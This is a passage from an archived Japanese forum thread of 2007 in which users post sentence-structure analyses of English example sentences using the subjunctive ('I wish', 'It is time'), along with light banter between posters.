M2((When s v x)), / I / wish / <s v x>. (文型:S V O)
あるいは、気持ちとしては、
M2((When s v x)), // (I wish) // S / could speak / M2((...well...)). (文型:S V)

when節内は、S / hear / O / 原形不定詞 (文型:S V O C)
O C の部分(ネクサス)を、独立した文に変形すると、He / speaks / English. (文型:S V O)
(例文100、例文305参照)

「I wish/wished <仮定法>」で「たとえ話」としての願望を表します。
as if / as though と同様、主文と同じ時のたとえ話であれば仮定法過去を、
主文より前の時のたとえ話であれば仮定法過去完了を使います。
この形では、通常 that は省略されます。
該当箇所:
「§268 願望を表す構文」

M2((...well...)) のところは、副詞要素の入れ子構造なんで表記が難しいところですが、
((even)) / ((half)) ((as)) well ((as he does))
ということで、あとは下記を参照してください。
参考:
「§151 倍数表現、[1] 〈as 〜 as …〉を用いた倍数表現、(1) 「AはBの〜倍の…である」の表し方」
「§131 倍数詞」

554 :勝手口 ◆KatteG.R4k :2007/01/05(金) 22:37:01
遅くなりましたが、あけましておめでとうございます。
本年もよろしくです。


312.(仮定法:wish 仮定法過去)
M2((When s v x)), / I / wish / <s v x>. (文型:S V O)
あるいは、気持ちとしては、
M2((When s v x)), // (I wish) // S / could speak / M2((...well...)). (文型:S V)

when節内は、S / hear / O / 原形不定詞 (文型:S V O C)
O C の部分(ネクサス)を、独立した文に変形すると、He / speaks / English. (文型:S V O)
(例文100、例文305参照)

「I wish/wished <仮定法>」で「たとえ話」としての願望を表します。
as if / as though と同様、主文と同じ時のたとえ話であれば仮定法過去を、
主文より前の時のたとえ話であれば仮定法過去完了を使います。
この形では、通常 that は省略されます。
該当箇所:
「§268 願望を表す構文」

M2((...well...)) のところは、副詞要素の入れ子構造なんで表記が難しいところですが、
((even)) / ((half)) ((as)) well ((as he does))
ということで、あとは下記を参照してください。
参考:
「§151 倍数表現、[1] 〈as 〜 as …〉を用いた倍数表現、(1) 「AはBの〜倍の…である」の表し方」
「§131 倍数詞」

555 :勝手口 ◆KatteG.R4k :2007/01/06(土) 01:03:08
連投すみません...
以後、気をつけます。

556 :名無しさん@英語勉強中:2007/01/06(土) 01:50:15
ワロタw

まー鯖調子悪いからねぇ

557 :名無しさん@英語勉強中:2007/01/06(土) 18:22:33


558 :名無しさん@英語勉強中:2007/01/06(土) 19:30:03
べっくりした。どっかの馬鹿が勝手口氏のトリが抜いて連投したのかとおもた

559 :名無しさん@英語勉強中:2007/01/06(土) 20:32:02
ちょwww 700選をひたすら品詞分解している者だが
前から品詞分解のは知ってて使ってたんだが700選の文法解説とか
作ってたとは・・・・ あんたら神か・・ まじ感謝するわ。
あと英文法大全ってサイトもまじ使えるわ

560 :名無しさん@英語勉強中:2007/01/06(土) 21:51:37
>>559
照れる

561 :勝手口 ◆KatteG.R4k :2007/01/06(土) 22:28:27
昨日は失礼しました。


313.(仮定法:wish 仮定法過去完了)
I / wish / <s v x>. (文型:S V O)
あるいは、気持ちとしては、
(I wish) // S / had told / O / A((about O)) / M2((beforehand)). (文型:S V O A)
S / couldn't do / so / M2((because of O)). (文型:S V O [S V A])

「I wish <仮定法過去完了>」については、例文312を参照。

「do so」の文型って微妙ですね。
参考:
「§96 so の用法、[1] 代名詞的な so の用法、(2) do の目的語になって,do so の形で代動詞的に用いる」

「his sudden departure」を文にするとこんな感じ。
cf. He / ((suddenly)) departed. (文型:S V)
文→名詞句のポイント:主語→所有格、動詞→名詞、副詞要素→形容詞要素

562 :!omikuji ◆IuJiIQCtrs :2007/01/07(日) 00:15:59
5連投かよ
勝手口まで荒らしになったのかと思った

563 :名無しさん@英語勉強中:2007/01/07(日) 07:48:13
そういえば年末年始の鯖が重い中でイタイ連投してたやつがいたっけな

564 :名無しさん@英語勉強中:2007/01/07(日) 13:54:27
西川口氏が129まで解説したら、いいものをうpしてやろう。

565 :名無しさん@英語勉強中:2007/01/07(日) 13:56:58
いいものとは「俺の出口」だ。
欲しければはやく129まで解説しろ

566 :名無しさん@英語勉強中:2007/01/07(日) 17:00:21
ちょ、>>565
ちがうって、ワードで作った西川口氏+勝手口氏の解説。
文字サイズは8(最小)だから安心しる。
そのままプリントすると、解説が切れずに結構見やすい仕様になってる。
まとめに載ってる解説じゃなくて、スレで書き込まれた解説をあつめたやつ。



567 :名無しさん@英語勉強中:2007/01/07(日) 18:18:13
>>566


多重人格自演荒らしの反応速度には脱帽だなw

568 :勝手口 ◆KatteG.R4k :2007/01/08(月) 22:15:04
314.(仮定法:wish 仮定法過去)
I / wish / <s v x>. (文型:S V O)
あるいは、気持ちとしては、
(I wish) // S / would turn ((off)) / O. (文型:S V O)
S / is getting / A((on my nerves)). (文型:S V A)

「I wish」や「If only」の後は、would や might など法助動詞過去形を使った仮定法がくることがあります。
条件節で助動詞過去形を使うケースに準じるものと考えられます。例文300参照。
(江川 p.256)


315.(仮定法:It is time 仮定法過去)
It / is / time <=(that) s v x>. (文型:S V C)
あるいは、気持ちとしては、
(It is time) // S / started / earning O. (文型:S V O)

受験英語ではおなじみですね。
仮定法過去だけでなく、「仮定法現在(米)か、should をつける(英)」パターンも使われます。
また、1人称単数/3人称単数では、was を使う方が普通です。
該当箇所:
「§269 It is time 〜 の構文」

218 KB
■ このスレッドは過去ログ倉庫に格納されています

★スマホ版★ 掲示板に戻る 全部 前100 次100 最新50

read.cgi ver 05.04.00 2017/10/04 Walang Kapalit ★
FOX ★ DSO(Dynamic Shared Object)